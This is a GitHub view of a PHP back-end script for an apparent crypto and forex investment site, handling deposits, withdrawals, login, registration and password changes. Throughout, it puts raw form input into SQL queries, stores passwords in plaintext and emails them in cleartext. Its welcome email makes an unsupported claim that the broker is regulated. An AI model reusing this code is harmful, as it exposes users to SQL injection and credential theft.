-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.php
More file actions
477 lines (336 loc) · 15.1 KB
/
Copy pathscript.php
File metadata and controls
477 lines (336 loc) · 15.1 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
<?php
use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;
session_start();
include('connection.php');
if(isset($_POST['bitcoin_deposit'])){
$email = $_POST['email'];
$amount = (float)$_POST['amount'];
$transaction_id = $_POST['transaction_id'];
$currency_type = $_POST['currency_type'];
$query = "INSERT INTO deposit_history (transaction_id, user_email, amount, date, currency_type, status)
VALUES('$transaction_id', '$email', '$amount', now(), '$currency_type', '0')";
$result = mysqli_query($myConn, $query);
if ($result == TRUE) {
$headers = array(
'From' => 'support@fxglobalequity.com',
'Reply-To' => 'support@fxglobalequity.com',
'X-Mailer' => 'PHP/' . phpversion()
);
$to1 = "support@fxglobalequity.com";
$subject = 'Bitcoin deposit';
$txt1 = "$email has made a bitcoin deposit on the website<br>
Amount:$amount<br>
Transaction Id:$transaction_id
";
mail($to1,$subject,$txt1,$headers);
?>
<script type="text/javascript">
alert('Deposit was successfull');
window.location = "deposit.php";
</script>
<?php
}
else{
echo mysqli_error($myConn);
}
}
if(isset($_POST['ethereum_deposit'])){
$email = $_POST['email'];
$amount = (float)$_POST['amount'];
$transaction_id = $_POST['transaction_id'];
$currency_type = $_POST['currency_type'];
$query = "INSERT INTO deposit_history (transaction_id, user_email, amount, date, currency_type, status)
VALUES('$transaction_id', '$email', '$amount', now(), '$currency_type', '0')";
$result = mysqli_query($myConn, $query);
if ($result == TRUE) {
$headers = array(
'From' => 'support@fxglobalequity.com',
'Reply-To' => 'support@fxglobalequity.com',
'X-Mailer' => 'PHP/' . phpversion()
);
$to1 = "support@fxglobalequity.com";
$subject = 'Litecoin deposit';
$txt1 = "$email has made a Litecoin deposit on <br>
Amount:$amount<br>
Transaction Id:$transaction_id
";
mail($to1,$subject,$txt1,$headers);
?>
<script type="text/javascript">
alert('Deposit was successfull');
window.location = "deposit.php";
</script>
<?php
}
else{
echo mysqli_error($myConn);
}
}
if(isset($_POST['bitcoin_withdraw'])){
$email = $_POST['email'];
$amount = (float)$_POST['amount'];
$transaction_id = substr(str_shuffle(uniqid() . "00"), 0, 12);
$add = $_POST['address'];
$query = "INSERT INTO withdrawl_history (transaction_id, user_email, amount, date, currency_type, status,address)
VALUES('$transaction_id', '$email', '$amount', now(), 'dollar', '0','$add')";
$result = mysqli_query($myConn, $query);
if ($result == TRUE) {
$headers = array(
'From' => 'support@fxglobalequity.com',
'Reply-To' => 'support@fxglobalequity.com',
'X-Mailer' => 'PHP/' . phpversion()
);
$to1 = "support@fxglobalequity.com";
$subject = 'Bitcoin Withdraw';
$txt1 = "$email has submitted a withdraw application<br>
Bitcoin address:$add<br>
Amount:$amount<br>
Transaction Id:$transaction_id
";
mail($to1,$subject,$txt1,$headers);
?>
<script type="text/javascript">
alert('Withdraw has been submitted successfully');
window.location = "withdraw.php";
</script>
<?php
}
else{
echo mysqli_error($myConn);
}
}
if(isset($_POST['paypal'])){
$email = $_POST['email'];
$amount = (float)$_POST['amount'];
$transaction_id = $_POST['transaction_id'];
$currency_type = $_POST['currency_type'];
$query = "INSERT INTO deposit_history (transaction_id, user_email, amount, date, currency_type, status)
VALUES('$transaction_id', '$email', '$amount', now(), '$currency_type', '0')";
$result = mysqli_query($myConn, $query);
if ($result == TRUE) {
$headers = array(
'From' => 'support@fxglobalequity.com',
'Reply-To' => 'support@fxglobalequity.com',
'X-Mailer' => 'PHP/' . phpversion()
);
$to1 = "support@fxglobalequity.com";
$subject = 'Paypal deposit';
$txt1 = "$email has made a Paypal deposit <br>
Amount:$amount<br>
Transaction Id:$transaction_id
";
mail($to1,$subject,$txt1,$headers);
?>
<script type="text/javascript">
alert('Deposit was successfull');
window.location = "deposit.php";
</script>
<?php
}
else{
echo mysqli_error($myConn);
}
}
if(isset($_POST['ether_deposit'])){
$email = $_POST['email'];
$amount = (float)$_POST['amount'];
$transaction_id = $_POST['transaction_id'];
$currency_type = $_POST['currency_type'];
$query = "INSERT INTO deposit_history (transaction_id, user_email, amount, date, currency_type, status)
VALUES('$transaction_id', '$email', '$amount', now(), '$currency_type', '0')";
$result = mysqli_query($myConn, $query);
if ($result == TRUE) {
?>
<script type="text/javascript">
alert('Deposit Made');
window.location = "deposit.php";
</script>
<?php
}
else{
echo mysqli_error($myConn);
}
}
if(isset($_POST['sign_in'])) {
include('connection.php');
$email = $_POST['email'];
$password = $_POST['password'];
$sql = "SELECT * FROM users WHERE user_email = '$email' AND user_password = '$password'";
$result = mysqli_query($myConn, $sql);
if($result->num_rows == 1) {
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
$_SESSION['user_email'] = $row['user_email'];
$_SESSION['user_name'] = $row['user_name']; ?>
<script type="text/javascript">
window.location = "dashboard/account/home.php";
</script>
//
<?php }
else{
?>
<script type="text/javascript">
alert('Invalid Email or Password');
window.location = "login";
</script>
<?php }
}
?>
<?php
if(isset($_POST['register'])) {
include('connection.php');
$name = $_POST['name'];
$email = $_POST['email'];
$password = $_POST['password'];
$reg_plan = $_POST['reg_plan'];
$account_manager = $_POST['account_manager'];
// $ref = $_POST['refer'];
$to = $email;
$subject = "Welcome to Fx Global Equity";
$txt = "Thank you for registering with us, find your login details below: <br> email:" . $email . " <br> Password:" . $password . ".";
$headers = array(
'From' => 'support@fxglobalequity.com',
'Reply-To' => 'support@fxglobalequity.com',
'X-Mailer' => 'PHP/' . phpversion()
);
$check_email = "SELECT * FROM users WHERE user_email = '$email'";
$result = mysqli_query($myConn, $check_email);
if ($result->num_rows > 0) { ?>
<script type="text/javascript">
alert('Email Already Exists, please try to log in');
window.location = "sign-in.php";
</script>
<?php } else {
//
$query = "INSERT INTO users (user_email, user_name, user_password, bitcoin_balance, ethereum_balance, bitcoin_cash_balance, date, type, account_manager)
VALUES('$email', '$name', '$password', '0', '0', '0', now(), '$reg_plan', '$account_manager')";
$result = mysqli_query($myConn, $query);
//echo mysqli_error($myConn);exit();
if ($result == TRUE) {
echo " <script type='text/javascript'>
alert('Registration Successful, Check your Mail for details');
window.location = 'login/index.php';
</script>";
$to1 = "support@fxglobalequity.com";
$subject = 'user Registeration';
$txt1 = "$name just created an account on Fx Global Equity
";
mail($to1,$subject,$txt1,$headers);
mail($to, $subject, $txt, $headers);
/**
* This example shows sending a message using PHP's mail() function.
*/
/* Exception class. */
require 'PHPMailer-master/src/Exception.php';
/* The main PHPMailer class. */
require 'PHPMailer-master/src/PHPMailer.php';
/* SMTP class, needed if you want to use SMTP. */
require 'PHPMailer-master/src/SMTP.php';
// require 'mailer/PHPMailerAutoload.php';
//Create a new PHPMailer instance
$mail = new PHPMailer;
//Set who the message is to be sent from
$mail->setFrom('support@fxglobalequity.com', 'support@fxglobalequity.com');
//Set an alternative reply-to address
$mail->addReplyTo('noreply@elitemining.com', 'support@fxglobalequity.com');
//Set who the message is to be sent to
$mail->addAddress($email, $name);
//Set the subject line
$mail->Subject = 'Welcome to Fx Global Equity';
//Read an HTML message body from an external file, convert referenced images to embedded,
//convert HTML into a basic plain-text alternative body
$mail->msgHTML(file_get_contents('contents.html'), dirname(__FILE__));
//Replace the plain text body with one created manually
$mail->AltBody = 'Thank you for registering with us, find your login details below: <br> email:' . $email . ' <br> Password:' . $password . '.';
//Attach an image file
$mail->addAttachment('images/phpmailer_mini.png');
$mail->Body = '<p> Thank you for becoming a part of the trading community at Fx Global Equity ,
where trading makes sense. Fx Global Equity Trade Ltd is one the world\'s leading regulated online trading brokers.
To ensure the safest and securest trading experience possible, it is fully regulated by various regulators. Exclusively on Fx Global Equity ! Introducing Fx Global Equity Rewards, loyalty programme awarding you Cashback for every trade you make. As a Fx Global Equity trader, you will benefit from:
<br>• Fx Global Equity Rewards – The loyalty programme that awards you Cashback for every trade you make.
<br> • MassInsights Technology- Live Stream of Market Events & Aggregated Trader Behaviour
<br> • Fully Regulated and Secure Trading Environment.
<br> • 24/7 support and a Personal Trading Consultant.
<br>find your login details below:</p></br>'
.'Email: '.$email.'</br>'
.'Password: '.$password.'</br>';
//send the message, check for errors
if (!$mail->send()) { ?>
<script type="text/javascript">
alert('An email error occurred fool');
window.location = "register/index.hmtl";
</script>
<?php } else { ?>
<?php }
} else {
echo mysqli_error($myConn);exit();
?>
<script type="text/javascript">
alert('query error');
window.location = "register/index.html";
</script>
<?php }
}
}
?>
<?php
if(isset($_POST['set_password'])) {
include('connection.php');
$password = $_POST['password'];
$email = $_SESSION['user_email'];
//get old password
$query_userdetails = "SELECT * FROM users WHERE user_email = '$email'";
$result = mysqli_query($myConn, $query_userdetails);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row){
if($row['user_password'] == $_POST['old_password']){
$update_history = "UPDATE users SET user_password = '$password' WHERE user_email = '$email'";
$result = mysqli_query($myConn, $update_history);
if ($result == true) {
require 'PHPMailer-master/src/Exception.php';
/* The main PHPMailer class. */
require 'PHPMailer-master/src/PHPMailer.php';
/* SMTP class, needed if you want to use SMTP. */
require 'PHPMailer-master/src/SMTP.php';
//Create a new PHPMailer instance
$mail = new PHPMailer;
//Set who the message is to be sent from
$mail->setFrom('support@Fx Global Equity.com', 'Fx Global Equity.com');
//Set an alternative reply-to address
$mail->addReplyTo('noreply@Fx Global Equity.com', 'Fx Global Equity.com');
//Set who the message is to be sent to
$mail->addAddress($email, 'password Change');
//Set the subject line
$mail->Subject = 'Password Change Activity on Account';
//Read an HTML message body from an external file, convert referenced images to embedded,
//convert HTML into a basic plain-text alternative body
//Replace the plain text body with one created manually
$mail->AltBody = 'Thank you for registering with us, find your login details below: <br> email:' . $email . ' <br> Password:' . $password . '.';
//Attach an image file
$mail->addAttachment('images/phpmailer_mini.png');
$mail->Body = '<b>Your Password has been Changed:</b></br>'
.'Email: '.$email.'</br>'
.'New Password: '.$password.'</br>';
//send the message, check for errors
?>
<script type="text/javascript">
alert('Password Changed Successfully');
window.location = "account.php";
</script>
<?php
} else { ?>
<script type="text/javascript">
alert('Email Already Exists, please try to log in');
window.location = "sign-in.php";
</script>
<?php }}else{ ?>
<script type="text/javascript">
alert('Incorrect old password');
window.location = "change_password.php";
</script>
<?php }}else{?>
<script type="text/javascript">
alert('Unable to change password');
window.location = "change_password.php";
</script>
<?php } }?>